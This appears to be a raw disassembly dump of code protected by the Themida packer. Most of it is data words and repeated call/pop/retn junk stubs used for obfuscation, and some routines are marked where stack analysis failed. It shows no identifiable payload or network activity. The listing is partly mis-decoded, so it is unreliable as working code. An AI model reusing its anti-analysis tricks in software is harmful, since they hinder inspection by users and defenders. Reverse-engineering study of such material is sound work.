loc_5D5CC5: ; CODE XREF: Themida_:005D5CB1j
lea eax, [ebp+7FF2A3Bh]
push 0
push esi
call sub_5D5CD6
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D5CD6 proc near ; CODE XREF: Themida_:005D5CCEp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 14h
inc esi
push esi
retn
sub_5D5CD6 endp
; ---------------------------------------------------------------------------
dw 384h
db 0BDh
; ---------------------------------------------------------------------------
loc_5D5CE9: ; CODE XREF: Themida_:005D5CC1j
inc ebp
sub dl, bh
pop es
add eax, 5
push 0
push edx
call sub_5D5CFB
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D5CFB proc near ; CODE XREF: Themida_:005D5CF3p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ch
inc edx
push edx
retn
sub_5D5CFB endp
; ---------------------------------------------------------------------------
db 2
db 0CCh
db 7Dh, 6, 83h
; ---------------------------------------------------------------------------
xchg ch, bh
sub al, 3Ah
jmp loc_5D5D21
; ---------------------------------------------------------------------------
db 1Dh, 0DEh, 67h
dd 0B03ABC98h
db 0B0h
; ---------------------------------------------------------------------------
loc_5D5D21: ; CODE XREF: Themida_:005D5D14j
nop
push eax
mov bh, dl
nop
call sub_5D5D3D
or [eax], edi
cwde
xchg esi, [esi]
ficom dword ptr ds:30C8C9E3h[ebx*8]
in al, dx
mov edi, 25398A4h
; =============== S U B R O U T I N E =======================================
sub_5D5D3D proc near ; CODE XREF: Themida_:005D5D26p
mov edi, 5D4BB632h
pop edi
pusha
js loc_5D5D4F
xor si, 3D18h
loc_5D5D4F: ; CODE XREF: sub_5D5D3D+7j
jle loc_5D5D57
push edi
pop eax
loc_5D5D57: ; CODE XREF: sub_5D5D3D:loc_5D5D4Fj
popa
push 0
push 0
push ecx
call sub_5D5D65
and [ecx-3Dh], bl
sub_5D5D3D endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5D5D65 proc near ; CODE XREF: sub_5D5D3D+20p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 18h
inc ecx
push ecx
retn
sub_5D5D65 endp
; ---------------------------------------------------------------------------
db 82h, 8, 0F9h
dd 6A4AE2h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Bh, 97C35141h, 9874E1FDh, 8A761843h, 0E995FFDEh, 8907FA2Bh
dd 0FA248995h, 118D8D07h, 6A07FDD7h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 0A911C353h
dd 4687E86Ah, 2BDDBD89h, 0D1FF07FAh, 18E0Fh, 83F80000h
dd 0FA33EDBDh, 850F0107h, 8Ch, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Dh, 5CC35747h, 373EDF12h, 9C7E7AEDh
dd 11E96Ch, 9EBC0000h, 0C6B7EA59h, 92B15B3h, 34F7B93Eh
dd 6AC8A42Fh, 505F5102h, 0D93191BBh, 2404895Ch, 82D9D8Bh
dd 95FF07FAh, 7FA1C95h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Ah, 0FEC35040h, 0ABBCB760h, 0B5094BC4h, 7FA01EDh
dd 0BE9h, 1E73E800h, 134C6230h, 0A8871A79h, 0CF3E9h, 0E800h
dd 815D0000h, 0FF2A45EDh, 55006A07h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 1909CC8Eh
dd 6A3E5Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
dd 50400000h, 9D8B1BC3h, 7FA276Dh, 0E1C860BFh, 858DF850h
dd 7FDB959h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Dh, 1DC35242h, 0DE91846Ah, 5A46ADB3h, 0D6BB5055h, 893C6C9Ch
dd 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
dd 56460000h, 0CA6649C3h, 0C2BBF0DAh, 8D89B550h, 7FA276Dh
dd 35FF64h, 0E9000000h, 5, 0A63B0350h, 258964E3h, 0
; ---------------------------------------------------------------------------
push 0
push edi
call sub_5D5F57
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D5F57 proc near ; CODE XREF: Themida_:005D5F4Fp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ch
inc edi
push edi
retn
sub_5D5F57 endp
; ---------------------------------------------------------------------------
xor esi, ebx
leave
cmp al, bl
lahf
pop dword ptr [edx+4985FFF5h]
adc dl, bh
pop es
push 0
push edi
call sub_5D5F81
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D5F81 proc near ; CODE XREF: Themida_:005D5F79p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Dh
inc edi
push edi
retn
sub_5D5F81 endp
; ---------------------------------------------------------------------------
db 55h, 0FCh, 28h
dd 0DA03216Fh, 0E9E7919Fh, 0Ch, 5AC8A335h, 2600347h, 0FA95C02h
dd 6AFF6Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
dd 57470000h, 9D8BACC3h, 7FA27DDh, 243DB5FFh, 0BF6607FAh
dd 8166CD07h, 0FFC25FE3h, 0FA287595h, 101E907h, 870F0000h
dd 4, 6A0CBF66h, 1B700B0h, 0BD8970E6h, 7FA2025h, 0F187BB66h
dd 0BD8B71E4h, 7FA338Dh, 830F613Ch, 0D7h, 13E78166h, 2DB589E5h
dd 0F07FA2Fh, 0BF0FC8B6h, 68D0FDEh, 9000000h, 0FA17818Dh
dd 6BA07h, 8D0F0000h, 13h, 7E8h, 307C1600h, 0AE0522D0h
dd 68D9D8Bh, 665B07FAh, 134DCB81h, 0D781C18Bh, 4BDDEFC9h
dd 0FC04E8C1h, 8BE2F766h, 0FA14A1BDh, 8BC82B07h, 0FA24259Dh
dd 9D18B07h, 0FA2C9D9Dh, 6DE907h, 0BF660000h, 858B1747h
dd 47554C50h, 2870Fh, 7B30000h, 0FC07C083h, 8000C083h
dd 0D03BC6DBh, 0D830Fh, 81660000h, 0E9AFA6EBh, 3Fh, 8BDBBF0Fh
dd 0FFFFFF8Dh, 359D29FFh, 8307FA0Eh, 840F01E1h, 27h, 83DBBF0Fh
dd 0FFFFFFA5h, 0C381FEFFh, 0B556C0Ch, 4C509589h, 890F4755h
dd 6, 26DD9D8Bh, 0E907FAh, 8D000000h, 0FEA3AFB5h, 998D2907h
dd 6A07FA20h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1404h, 0C3534300h, 0AD9D893Bh, 8907FA1Dh, 0FA353DB5h
dd 1995FF07h, 8B07FA10h, 0FA0EA99Dh, 1024B907h, 6A0000h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
dd 0DF29AFC3h, 5E9C28Fh, 1B000000h, 9DB97450h, 0FFCE183h
dd 0E9FCF8B7h, 0Ch, 0DFAE80D3h, 2878487Ah, 2E11D6DBh, 0B8h
dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h
dd 0C3534300h, 199D3345h, 2B07FA11h, 53006AD2h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 4B50F8EEh
dd 0FC6C7037h, 0D7E38166h, 0C233AD96h, 0D003E8D1h, 7504E983h
dd 0B58960F4h, 7FA2E19h, 0D0BF6650h, 8B615E26h, 880DFBh
dd 0BD8B0000h, 7FA1065h, 1CD9958Bh, 0DBBF07FAh, 8B51E5F7h
dd 0FA31AD8Dh, 8DB58907h, 8B07FA18h, 0FA0FE59Dh, 0C28B5007h
dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 0E958188Bh, 12h
dd 898CE7ABh, 77C18D2Bh, 0F8AA31FFh, 0D19653CCh, 6A1FA1h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
dd 0C0353C3h, 6DC96EBBh, 29BD83DBh, 7FA2Ah, 58840Fh, 0BD8B0000h
dd 7FA0EC9h, 0B8h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1C04h, 0C3534300h, 22C8FB6Fh, 0EA2E528Dh
dd 0DBBF0F46h, 4F668D8Dh, 6A07FAh, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 140424h, 57470000h, 0E1FFD0C3h, 0BD8343B7h
dd 7FA2BD9h, 6840F00h, 6A000004h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 853CC357h
dd 5880F09h, 66000000h, 3068DF81h, 2BD9BD83h, 0F0107FAh
dd 3EB84h, 219D2900h, 8307FA20h, 0FA2BD9BDh, 860F0307h
dd 3A2h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 18h, 0A9C35343h, 0CB986CEDh, 67BB6660h, 0D98C6681h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0B0C35747h
dd 0FDBD0195h, 8007FA24h, 6A04E1h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 170424h, 53430000h, 6937DAC3h, 0DE9EFh, 86860000h
dd 9B54FFB4h, 6621085Ah, 803B7952h, 0C90A4EC7h, 162840Fh
dd 85010000h, 7FA0F8Dh, 14E8h, 49695900h, 0C9493535h, 1AC8E326h
dd 31C79AA0h, 4B8C6902h, 0D950993h, 5B07FA31h, 0FE9858Bh
dd 0F5107FAh, 335FF8B7h, 0FA15E185h, 50006A07h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1404h, 0C3504000h, 51B589E9h
dd 0E807FA05h, 8, 0CFF3992Eh, 8C3492Fh, 11E8h, 0BDA8700h
dd 0D709D2C8h, 686A2910h, 5777A9B4h, 5F56D7B0h, 9D8B5B5Bh
dd 7FA2E6Dh, 24048950h, 6E8h, 0FA6AD300h, 89CD4CE4h, 0FA01199Dh
dd 6A5F07h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 17h, 0C7C35545h, 680F141Ch, 422D3F6Dh, 11E9h, 9ED71700h
dd 0ADC9AE82h, 0C29B5CB4h, 47D48170h, 348172ADh, 323C9224h
dd 14E96042h, 6C000000h, 0B63D1752h, 0AA8B9DC7h, 252CD0DAh
dd 0CAF06344h, 89898A24h, 0FA0D2185h, 95FF6107h, 7FA1CE9h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 13C35646h
dd 4A33DB73h, 66535BD7h, 5F4DABBBh, 894DDB80h, 0FDEB9685h
dd 50006A07h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h
dd 0C3504000h, 2A04CF22h, 167E90Eh, 0BD890000h, 7FA0CA5h
dd 0EB8E858Bh, 8E907FDh, 0A2000000h, 7C883645h, 0C7523922h
dd 1800h, 0B58BF800h, 7FDEB92h, 1C11BD8Bh, 0B58907FAh
dd 7FA2571h, 0D51858Bh, 858907FAh, 7FA1C0Dh, 0BD890689h
dd 7FA2909h, 8BD88B66h, 0FA0FE985h, 359D8B07h, 8907FA2Fh
dd 50F50446h, 867BFBBh, 2434896Ch, 142D9D8Bh, 0B5FF07FAh
dd 7FDEB8Eh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Ch, 3FC35242h, 705A73E4h, 195DC509h, 0BE9h, 0C0A1B800h
dd 0C03D11D7h, 0EA6E8A53h, 207DBD8Bh, 416807FAh, 0E95C5717h
dd 9, 0ECBD939Ah, 0CB15D35Ah, 2434818Bh, 5C4814BEh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0B5C35646h, 5231F78Ch
dd 490872EAh, 6890Fh, 85010000h, 7FA0D2Dh, 18898D31h, 858D07FAh
dd 7FDEB96h, 18BF6650h, 8A905B66h, 666050FCh, 8B51CF8Bh
dd 906158F8h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 15h, 49C35242h, 0DEBF0F75h, 1CE995FFh, 6A07FAh, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
dd 96802BC3h, 0F1D0F570h, 0F52706Fh, 383h, 0F9B70F00h
dd 6A615Fh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
dd 57470000h, 98D404C3h, 0E695FDA3h, 0F78166BCh, 85C71C30h
dd 7FA2BD9h, 3, 2F399531h, 0BD8307FAh, 7FDEB96h, 0F840F00h
dd 0F9000000h, 24E9h, 65CF8000h, 1851BD8Bh, 305007FAh
dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h, 0E9835803h
dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h
dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h
dd 2114430h, 11642858h, 11043001h, 7504E983h, 8B00EBE7h
dd 0F9BD89C0h, 6A07FA16h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1A042444h, 43000000h, 0CBA3C353h, 788FF5E9h
dd 7BD78189h, 834D462Fh, 0FA2BD9BDh, 850F0307h, 421h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 12C35343h, 547B110Dh
dd 0BD8378B7h, 7FDEB96h, 0F2840F00h, 6A000003h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
dd 0E394C357h, 0FF931DB6h, 0FDEB96B5h
dd 6E907h, 0CF4F0000h, 63EC144Bh, 28F0F60h, 60000000h
dd 0EDC88061h, 4595FF61h, 6A07FA27h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 6633C357h
dd 8E79E781h, 8BFBBF0Fh, 0FDEB8AB5h, 50006A07h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1904h, 0C3504000h, 3326198Dh
dd 11E9FFA7h, 0BC000000h, 141E2FCEh, 5EE902B1h, 1555FA45h
dd 93B167FDh, 18D0Fh, 0C7F90000h, 1000106h, 11E900h, 0E04F0000h
dd 0D9E698A1h, 9067661Ch, 0D6D68688h, 5096FFE6h, 6E85250h
dd 58000000h, 737E5B7Fh, 0F525054h, 5F585A31h, 79B3310Fh
dd 3489585Ah, 21BD8B24h, 0FF07FA01h, 0FDEB96B5h, 0A3BB6607h
dd 0E195FF5Bh, 8B07FA18h, 0FDEB8AB5h, 50006A07h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h
dd 44947905h, 0E31FB370h, 8E0F0613h, 6, 74D8D89h, 858B07FAh
dd 7FA1C7Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 19h, 0D8C35242h, 2FCEBCACh, 0B58B601Eh, 7FA0D35h, 16559D8Bh
dd 896107FAh, 0C486h, 0F3816600h, 958BA887h, 7FA1CD9h
dd 12E9h, 2CE3EA00h, 460BE84Eh, 9FAB5598h, 739390B8h, 8362425Bh
dd 0BF0F04C2h, 205089FBh, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Dh, 0CDC35040h, 0FC24894h, 0FF21935Eh, 10E8BBh
dd 32DC0000h, 0B3D0C713h, 0DB1E4C7Fh, 9582EFBCh, 8D894E95h
dd 7FA1851h, 0F7858D5Bh, 3107FDFEh, 0FA1145BDh, 0B8868907h
dd 23000000h, 0FA28F1BDh, 66006A07h, 0B589D98Bh, 7FA2EC5h
dd 0EB96B5FFh, 14E907FDh, 87000000h, 59330057h, 0E1B1C535h
dd 530B03E0h, 0C7652E27h, 0FFC29642h, 0FA1C9595h, 8D8B6007h
dd 7FA10D9h, 1499531h, 966107FAh, 10E9h, 0C154BD00h, 383B2DF8h
dd 58922E4Ah, 0D6C919E6h, 52505027h, 0AE9h, 1620A800h
dd 1177682h, 0FF2F2E7h, 0FE831h, 0B09D0000h, 0D2DECE9Dh
dd 87CD064Fh, 19471055h, 5FFE8A78h, 8996585Ah, 0FA345D95h
dd 96B5FF07h, 0E907FDEBh, 10h, 0F8E15977h, 0F324B9CDh
dd 2BDAA768h, 0B82A8604h, 1D9595FFh, 0BD8307FAh, 7FA0131h
dd 2C840F00h, 0E9000000h, 0Dh, 0A0C0F4h, 5D818BE2h, 2367FFFDh
dd 0E1BB968Ch, 506127A1h, 68A0Fh, 60600000h, 61F18B61h
dd 0F0E78196h, 0FF765A99h, 0FDEB96B5h, 55006A07h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
dd 1B19787Fh, 0FB8B6656h, 0FFF88B5Fh, 0FA1CB595h, 51006A07h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h
dd 0DB8A0E97h, 8BCCF348h, 0FA11499Dh, 14E907h, 0B1430000h
dd 96F2A397h, 59DFA3B2h, 91E91F39h, 0A38A6689h, 0B5FF2177h
dd 7FDEB96h, 0B360D88Ah, 698D8944h, 6107FA27h, 21AD95FFh
dd 6A07FAh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
dd 52420000h, 3C1DE9C3h, 1324D99Eh, 13E971h, 0B0CF0000h
dd 189AA37Fh, 0D540D147h, 9CAE3FF4h, 1259767Ch, 21BD833Ah
dd 207FA22h, 3F840Fh, 858B0000h, 7FA1615h, 2D51BD8Bh, 0C607FAh
dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h
dd 0C3524200h, 0EE9D306h, 0B3000000h, 0CF52D4F6h, 2B9936B4h
dd 0B626E23Dh, 0DD85C77Ah, 7FA16h, 0B7000000h, 0F446E954h
dd 0B589FFFFh, 7FA31DDh, 9D8BC18Bh, 7FA21CDh, 199858Dh
dd 0B58907FAh, 7FA1469h, 88F0F90h, 50000000h, 0FFA8A52h
dd 50585A31h, 0F605250h, 85h, 310F6100h, 5AD98B66h, 6A9058h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
dd 5CC9EFC3h, 94A8F99Eh, 0E898FC25h, 9, 0E14682C6h, 1C0E51EFh
dd 0DEC781ADh, 5F15DB2Dh, 3225BD89h, 0FA8B07FAh, 6A006Ah
dd 68C0Fh, 8D290000h, 7FA2625h, 38CB858Dh, 0E78007FFh
dd 5C083DBh, 9289CF81h, 60900668h, 61FB8B66h, 90FA8B50h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 44C35747h
dd 0D8BDA7D1h, 1D9D8B2Ah, 6A07FA2Ah, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 502827FDh
dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
dd 52420000h, 2B62C9C3h, 0BA6660ACh, 816675F3h, 61CE5BDBh
dd 2BE995FFh, 0BF6607FAh, 8D8D50E2h, 7FDD711h, 0FFFA8B66h
dd 0E78166D1h, 0BD83BEEDh, 7FA33EDh, 61850F01h, 6A000000h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h
dd 45000000h, 0B5A3C355h, 65958919h, 6A07FA1Ch, 0EF816602h
dd 5090F531h, 57006A90h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1C04h, 0C3574700h, 905406F4h, 0F8F1437Fh, 2D85897Dh
dd 0FF07FA2Dh, 0FA1C9595h, 0F9B70F07h, 0DEDE9h, 0E800h
dd 815D0000h, 0FF38D5EDh, 0BD23F907h, 7FA1021h, 0B959858Dh
dd 0F38107FDh, 3E831195h, 0B819589h, 509007FAh, 0C0CCD0BBh
dd 50505F3Fh, 1F35BF52h, 310F76F2h, 2830Fh, 0F88B0000h
dd 6A90585Ah, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1A042444h, 47000000h, 0FB3CC357h, 391C5A47h, 95BD8B84h
dd 8107FA01h, 39FB81CFh, 35FF645Eh, 0
; ---------------------------------------------------------------------------
push 0
push ecx
call sub_5D6D93
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D6D93 proc near ; CODE XREF: Themida_:005D6D8Bp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 17h
inc ecx
push ecx
retn
sub_5D6D93 endp
; ---------------------------------------------------------------------------
db 2Eh
dd 0F37BBA3h, 48Ch, 8ABF6600h, 258964C2h, 0
; ---------------------------------------------------------------------------
push 0
push eax
call sub_5D6DC3
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D6DC3 proc near ; CODE XREF: Themida_:005D6DBBp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 17h
inc eax
push eax
retn
sub_5D6DC3 endp
; ---------------------------------------------------------------------------
db 0E8h
dd 606D8E72h, 5E8h, 4AD57600h, 816628D9h, 599A76EEh, 14BD9D89h
dd 0F86107FAh, 104985FFh, 6A07FAh, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 170424h, 51410000h, 7E8E85C3h, 0C1B53148h
dd 6A07FA2Dh, 51006AFFh, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1D04h, 0C3514100h, 0D96AF0C3h, 791F8988h, 895282CEh
dd 0FA0BC9B5h, 8B0F5F07h, 2, 0B5FFD88Ah, 7FA1E99h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0DCC35040h, 0E96EE9F2h
dd 7, 0A28AAFA3h, 0FF826296h, 0FA287595h, 125E907h, 85890000h
dd 7FA0B0Dh, 0BD8B00B0h, 7FA2C59h, 8B6070E6h, 2820FD7h
dd 0B6000000h, 71E4618Ch, 2239BD23h, 613C07FAh, 0F9830Fh
dd 85310000h, 7FA2929h, 89C8B60Fh, 0FA2EFD9Dh, 8D895107h
dd 7FA20C5h, 6BA5Fh, 85890000h, 7FA2999h, 9D8BC18Bh, 7FA1451h
dd 8104E8C1h, 0FC6AC3CBh, 0E2F7667Dh, 0D03ABF57h, 2B5B07F4h
dd 0A59D8BC8h, 8B07FA0Eh, 4D9589D1h, 0B707FA14h, 0A5E9E0h
dd 10E90000h, 0B6000000h, 16A50C35h, 65967F3Dh, 0A6F1E93Fh
dd 8B41C449h, 4E4985h, 0E9D98A44h, 9, 0DF4618F3h, 0CA480CC2h
dd 7C083ECh, 2A7D9D8Bh, 0C08307FAh, 0CD9D8B00h, 3B07FA21h
dd 1B830FD0h, 0E9000000h, 0Bh, 350BCDC2h, 3AB4234Fh, 0E97DFCF8h
dd 4Bh, 2D31BD89h, 8D8B07FAh, 0FFFFFFFFh, 0DE9h, 4CE83900h
dd 0A1F4411h, 83ADDE63h, 0E183E9B7h, 24840F01h, 0F000000h
dd 381h, 0FEBF0F00h, 0FFFFA583h, 89FEFFFFh, 0FA0F518Dh
dd 49958907h, 6644004Eh, 0E9DE8Bh, 8D000000h, 0FEB3D3B5h
dd 57006A07h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h
dd 0C3574700h, 0F93DC087h, 60EDB0CDh, 26619D8Bh, 61F807FAh
dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
dd 52420000h, 0FFC66CC3h, 0FA101995h, 52006A07h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h
dd 17EFF72Ah, 0A48B17B0h, 7FB99464h, 8B000010h, 0FA2C2DBDh
dd 0FCE18307h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Bh, 37C35545h, 0AB63ED96h, 0FC17623Dh, 1F759D8Bh, 0C02B07FAh
dd 10E8h, 0EDA56D00h, 0B6504DB0h, 0FDF483FCh, 0AD4C44F0h
dd 0BE999h, 0B5370000h, 70EC3325h, 2FF0AE0Bh, 0D22B5B20h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 27C35040h
dd 0D4DFC88Eh, 48B78CF5h, 6850F8Fh, 60000000h, 9FB2F38Bh
dd 0C233AD61h, 0D003E8D1h, 7504E983h, 57006AF4h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h
dd 4BA031D5h, 8589ECE7h, 7FA1F69h, 0E0DBD8Bh, 0BF0F07FAh
dd 880DF9h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 160424h, 55450000h, 0BC2AA2C3h, 209D9D8Bh, 958B07FAh
dd 7FA1CD9h, 6860Fh, 0B5890000h, 7FA183Dh, 860Fh, 8D8B0000h
dd 7FA31ADh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Dh, 0B4C35545h, 0B362C19Eh, 3648C8F1h, 50DA8AD5h, 188BC28Bh
dd 188BC103h, 0E8D1C18Bh, 188BC203h, 51006A58h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1904h, 0C3514100h, 9D4C14EBh
dd 0B58938B2h, 7FA1F01h, 240DBD8Bh, 0BD8307FAh, 7FA2A29h
dd 7A840F00h, 8B000000h, 0B8D8h, 6A0000h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 5B9B83C3h
dd 685F8AAAh, 8B8B9253h, 668D8DFEh, 6A07FA4Fh, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
dd 55B1C353h, 87715A9Ah, 0C6404C89h, 0EE8h, 8DD96900h
dd 0FE765B77h, 0FE2C7336h, 66155B2Ch, 8248CF81h, 89E1FF5Fh
dd 0FA21458Dh, 0D9BD8307h, 7FA2Bh, 40A840Fh, 0BE90000h
dd 0E1000000h, 35235E9Fh, 0E0029E57h, 0BD83C81Ah, 7FA2BD9h
dd 8840F01h, 0F000004h, 68Fh, 1B58900h, 8907FA2Ch, 0FA16F985h
dd 0D9BD8307h, 307FA2Bh, 3B3860Fh, 0A3BB0000h, 60419E83h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0B7C35545h
dd 0FCA6EA0Eh, 6E9h, 0A30EAE00h, 66CAD25Bh, 12E9D98Ch
dd 0D8000000h, 730CBB7Ah, 0F1392302h, 0F70BF796h, 3A598EE6h
dd 4E180ABh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Ch, 16C35343h, 0A98DA3E8h, 63366E1Eh, 0EE9h, 7834F200h
dd 15F750F4h, 0A8BC46E7h, 0AE06F61h, 18840FC9h, 6A000001h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h
dd 45000000h, 906DC355h, 0B463A8FEh, 0CE8FAh, 69430000h
dd 4BA61383h, 0C6E14BDh, 295B6234h, 0FA169D85h, 0E9858B07h
dd 6A07FA0Fh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 19042444h, 47000000h, 8D59C357h, 1312A8F7h, 0C1BD8960h
dd 6607FA2Eh, 3361F98Bh, 0FA15E185h, 0BF50F907h, 146E02BCh
dd 60240489h, 29D88B66h, 0FA29A995h, 6A6107h, 0B3DF0E68h
dd 21890FC9h, 50000000h, 10E852h, 0BCD10000h, 6DF99D3Dh
dd 0EC12C3CBh, 125EECA1h, 0F5F13B9h, 0AAE0BF31h, 585A2C36h
dd 0F1240481h, 0F5366B24h, 1CE995FFh, 0FE807FAh, 0DD000000h
dd 3CA572C9h, 32823AC6h, 40AF39C9h, 870FAB03h, 1, 85895BF8h
dd 7FDEB96h, 2341BF66h, 1CDE9h, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 0EFBCDB1Eh
dd 89959582h, 0FA10F985h, 8BCDB707h, 0FDEB8E85h, 81665707h
dd 5BE21FC7h, 0A8EDC781h, 0C75046h, 18h, 2BF5BD01h, 0BD8B07FAh
dd 7FA01FDh, 0EB92B58Bh, 6A07FDh, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 190424h, 53430000h, 879C1C3h, 8BF4DA16h
dd 0FA1BE5BDh, 51858B07h, 6A07FA0Dh, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0C8B3C353h
dd 0F2EF6CCAh, 0FF5780Ah, 0C84h, 7E900h, 42390000h, 0CE983908h
dd 6A0689B3h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1D042444h, 41000000h, 5E8EC351h, 0EB3F57DCh, 0D936F466h
dd 811BD8Bh, 858B07FAh, 7FA0FE9h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Bh, 3BC35646h, 9BDEE982h, 6616BC14h
dd 4689FA8Bh, 11858904h, 9607FA2Eh, 14E85250h, 6B000000h
dd 0DAE26930h, 0E9B68718h, 0A5E073CAh, 0C5B557A2h, 5B21B031h
dd 585A310Fh, 79BB6650h, 6A96C9h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 170424h, 51410000h, 0A16E23C3h, 0DA8B661Eh
dd 0EB8EB5FFh, 6A07FDh, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 170424h, 51410000h, 0C7544BC3h, 68BDB31Bh, 6C4C264Ah
dd 0CE9h, 2B70CC00h, 14E77DAh, 0F745EDF8h, 24348170h, 6C5325B5h
dd 1BF5BD01h, 858D07FAh, 7FDEB96h, 10799D8Bh, 895007FAh
dd 66572404h, 0DD4EEB81h, 0E995FF5Bh, 6607FA1Ch, 8961FA8Bh
dd 0FA2511B5h, 0D985C707h, 307FA2Bh, 0F000000h
dd 0BD83FEBFh, 7FDEB96h, 4A840F00h, 6A000000h, 3E85700h
